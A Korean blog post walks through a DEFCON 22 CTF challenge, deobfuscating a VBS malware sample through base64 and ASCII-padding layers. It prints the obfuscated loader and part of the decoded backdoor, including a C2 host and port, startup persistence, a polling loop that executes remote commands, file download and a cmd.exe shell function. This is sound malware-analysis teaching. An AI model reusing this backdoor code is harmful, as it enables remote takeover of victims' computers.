난독화 된 vbs 악성코드 분석 (warl0ck CTF)

작년과 마찬가지로 올해도 데프콘 (DEFCON 22) 행사에서 Warl0ck Gam3z가 운영하는
소규모 CTF 대회가 진행되었다.

이 대회는 예전에는 포렌식 위주의 문제를 많이 출제했었는데 (특히 메모리 포렌식)
언제부턴가는 장르를 가리지 않고 다양한 분야의 문제들이 나오는 것 같다.

올해는 상황이 여의치 않아 직접 참여하지는 못하고, 멀리서나마 온라인으로 접속하여
이런저런 문제들을 풀어보고 있는데, 그 중 한 문제를 이번 포스팅에서 다루고자 한다.

먼저 주어진 문제는 다음과 같다.

ch3ckmat3


************************************************************************
*This is malware, please handle accordingly. If you are not comfortable*
*running this file, skip this file and move on. Proceed with caution!!!*
************************************************************************
Got this VBS file sent to me. Not sure what it does so I ran it a few times
but nothing seems to happen. Can you tell me what it does?
Download
Password: t@ng0xr@y
Access Code: d3c0d3n!nja 

VBS  파일을 받아서 실행했는데 아무 반응도 없고 뭘 하는지 알 수가 없다.
이 파일이 무엇인지 알아내는 것이 목표다.

 

그럼 본격적으로 분석을 실행해보자.

먼저 해당 VBS 파일은 [ DOWNLOAD LINK ] 를 통해 받으면 된다. (※ 악성 파일을 포함하므로 로컬 환경에서 실행 금지)

파일을 텍스트 에디터에서 열어보면 알수없는 문자들과 함께 아래와 같은 스크립트 구문이 보인다.

난독화 코드 중략----

VEl4ZkhkbmVud3hNM3gzWjNwOE1UQjhkMmQ2ZkRFd01YeDNaM3A4TVRFd2ZIZG5lbnd4TURCOGQyZDZmRE15ZkhkbmVud3hNREo4ZDJkNmZERXhOM3gzWjNwOERRb05DakV4TUh4M1ozcDhPVGw4ZDJkNmZERXhObngzWjNwOE1UQTFmSGRuZW53eE1URjhkMmQ2ZkRFeE1IeDNaM3A4SWcwS2QyZDZUR2wyWlZWdVkyOTJaWElnUFNCVFVFeEpWQ2gzWjNwTWFYWmxWVzVqYjNabGNpd2lmSGRuZW53aUtRMEtSazlTSUVrZ1BTQXdJRlJQSUZWQ1QxVk9SQ2gzWjNwTWFYWmxWVzVqYjNabGNpa2dMVEVOQ25kbmVpQTlJSGRuZWlBbUlFTklVaWgzWjNwTWFYWmxWVzVqYjNabGNpaEpLU2tOQ2s1RldGUU5Da1ZZUlVOVlZFVWdLSGRuZWlrPQ==")
Safa7_22 = deCrypt(Safa7_22)
EXECUTE (Safa7_22)
function deCrypt(data)
     deCrypt=decodeBase64(data)
end function
Function decodeBase64(ByVal base64String)
     Const XX = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin
     
     base64String = Replace(base64String, vbCrLf, "")
     base64String = Replace(base64String, vbTab, "")
     base64String = Replace(base64String, " ", "")
     dataLength = Len(base64String)
     If dataLength Mod 4 <> 0 Then
          Err.Raise 1, "Base64Decode", "Bad Base64 string."
          Exit Function
     End If
     For groupBegin = 1 To dataLength Step 4
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
          numDataBytes = 3
          nGroup = 0
          
          For CharCounter = 0 To 3
               thisChar = Mid(base64String, groupBegin + CharCounter, 1)
               
               If thisChar = "=" Then
                    numDataBytes = numDataBytes - 1
                    thisData = 0
               Else
                    thisData = InStr(1, XX, thisChar, vbBinaryCompare) - 1
               End If
     
               If thisData = -1 Then
                    Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
                    Exit Function
               End If
               
               nGroup = 64 * nGroup + thisData
          Next
          nGroup = Hex(nGroup)
          nGroup = String(6 - Len(nGroup), "0") & nGroup
          pOut =      Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
                    Chr(CByte("&H" & Mid(nGroup, 5, 2)))
          sOut = sOut & Left(pOut, numDataBytes)
     Next
     decodeBase64 = sOut
End Function

대충 구문을 보더라도 Base64로 인코딩된 “Safa7_22” 변수 갑을 디코딩하는 것으로 보인다.

현재 상황에서는 구문 분석이 쉽지 않으므로, 아래와 같이 스크립트 구문으로 추가하여
디코딩된 내용을 가시적으로 확인할 수 있도록 한다.

Safa7_22 = deCrypt(Safa7_22)
EXECUTE (Safa7_22)
function deCrypt(data)
     deCrypt=decodeBase64(data)
     wscript.echo(deCrypt) //새로 추가된 부분 //
end function
Function decodeBase64(ByVal base64String)
     Const XX = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
     Dim dataLength, sOut, groupBegin

해당 파일을 실행하면서 output 명령어를 통해 새로운 vbs 파일을 생성하면 아래와 같이
Base64 디코딩된 스크립트 구문을 얻을 수 있다.

----- 코드 중략 -----
100|wgz|111|wgz|102|wgz|115|wgz|116|wgz|114|wgz|101|wgz|97|wgz|109|wgz|32|wgz|116|wgz|104|wgz|101|wgz|110|wgz|13|wgz|10|wgz|32|wgz|32|wgz|32|wgz|114|wgz|101|wgz|97|wgz|100|wgz|97|wgz|108|wgz|108|wgz|10

2|wgz|114|wgz|111|wgz|109|wgz|97|wgz|110|wgz|121|wgz|32|wgz|61|wgz|32|wgz|111|wgz|101|wgz|120|wgz|101|wgz|99|wgz|46|wgz|115|wgz|116|wgz|100|wgz|101|wgz|114|wgz|114|wgz|46|wgz|114|wgz|101|wgz|97|wgz|100

|wgz|97|wgz|108|wgz|108|wgz|13|wgz|10|wgz|101|wgz|108|wgz|115|wgz|101|wgz|32|wgz|13|wgz|10|wgz|32|wgz|32|wgz|32|wgz|114|wgz|101|wgz|97|wgz|100|wgz|97|wgz|108|wgz|108|wgz|102|wgz|114|wgz|111|wgz|109|wgz

|97|wgz|110|wgz|121|wgz|32|wgz|61|wgz|32|wgz|34|wgz|34|wgz|13|wgz|10|wgz|101|wgz|110|wgz|100|wgz|32|wgz|105|wgz|102|wgz|13|wgz|10|wgz|13|wgz|10|wgz|99|wgz|109|wgz|100|wgz|115|wgz|104|wgz|101|wgz|108|wg

z|108|wgz|32|wgz|61|wgz|32|wgz|114|wgz|101|wgz|97|wgz|100|wgz|97|wgz|108|wgz|108|wgz|102|wgz|114|wgz|111|wgz|109|wgz|97|wgz|110|wgz|121|wgz|13|wgz|10|wgz|101|wgz|110|wgz|100|wgz|32|wgz|102|wgz|117|wgz|

110|wgz|99|wgz|116|wgz|105|wgz|111|wgz|110|wgz|"
wgzLiveUncover = SPLIT(wgzLiveUncover,"|wgz|")
FOR I = 0 TO UBOUND(wgzLiveUncover) -1
wgz = wgz & CHR(wgzLiveUncover(I))
NEXT
EXCUTE (wgz)

해당 구문을 분석해보면 현재 “|wgz|”로 들어가 있는 패딩값을 제거한다음 각각의  숫자(아스키값)을 조합하여
최종적으로 실행 (EXCUTE (wgz)) 하는 것으로 보인다.

현재 위 코드로는 무슨 행위를 하는지 알 수 없으므로, 마지막 라인을 수정하여
패딩이 제거된 플레인 텍스트를 파일로 생성해보도록 하자.

-- 코드 중략 --
wgzLiveUncover = SPLIT(wgzLiveUncover,"|wgz|")
FOR I = 0 TO UBOUND(wgzLiveUncover) -1
wgz = wgz & CHR(wgzLiveUncover(I))
NEXT

//패딩 제거된 내용을 파일로 출력//
Set fso = CreateObject ("Scripting.FileSystemObject")
Set stdout = fso.CreatetextFile("C:\TEMPmalware.txt")
stdout.WriteLine wgz

수정을 완료한 vbs파일을 실행하면 c:\ 밑에 TEMPmalware.txt가 생성된 것을 확인할 수 있다.

다음과 같이 아주 깔끔하게 난독화가 해제된 것을 확인할 수 있다.

'<[ Gam3z Inc : warl0ck gam3z : Defcon 22 Challenge ]>

'=-=-=-=-=tok3n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Navigate to https://warl0ck.gam3z.com/defcon/ch3ckmat3.aspx
'Enter the code d3c0d3n!nja
'Type the values listed below onto the form
'For the hash value, submit the MD5 hash value of
'the install directory minus the " and the %

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "wgzlive-cc.gam3z.com"
port = 8443
installdir = "%programdata%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj 
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000 
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"

------------- 코드 중략 -------------- 

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if

cmdshell = readallfromany
end function

이제 정답을 입력해보자~

Cap 2014-08-08 19-51-23-555

Cap 2014-08-08 19-54-40-341

토큰을 얻는데 성공했다.

문제 자체가 간단한 난독화라서 그렇지 복잡한 방식이었더라면 훨씬 많은 단계를 거쳐야 했을 것이다.

세상에 풀지 못한 난독화는 없겠지만, 난독화된 내용을 끝까지 추적하는 끈기를 가지기가 정말 어려운 것 같다.
그런 의미에서 악성코드 분석업무를 주로 하시는 분들께 존경의 인사를 드리며 포스팅을 마무리 한다.

 

Site Footer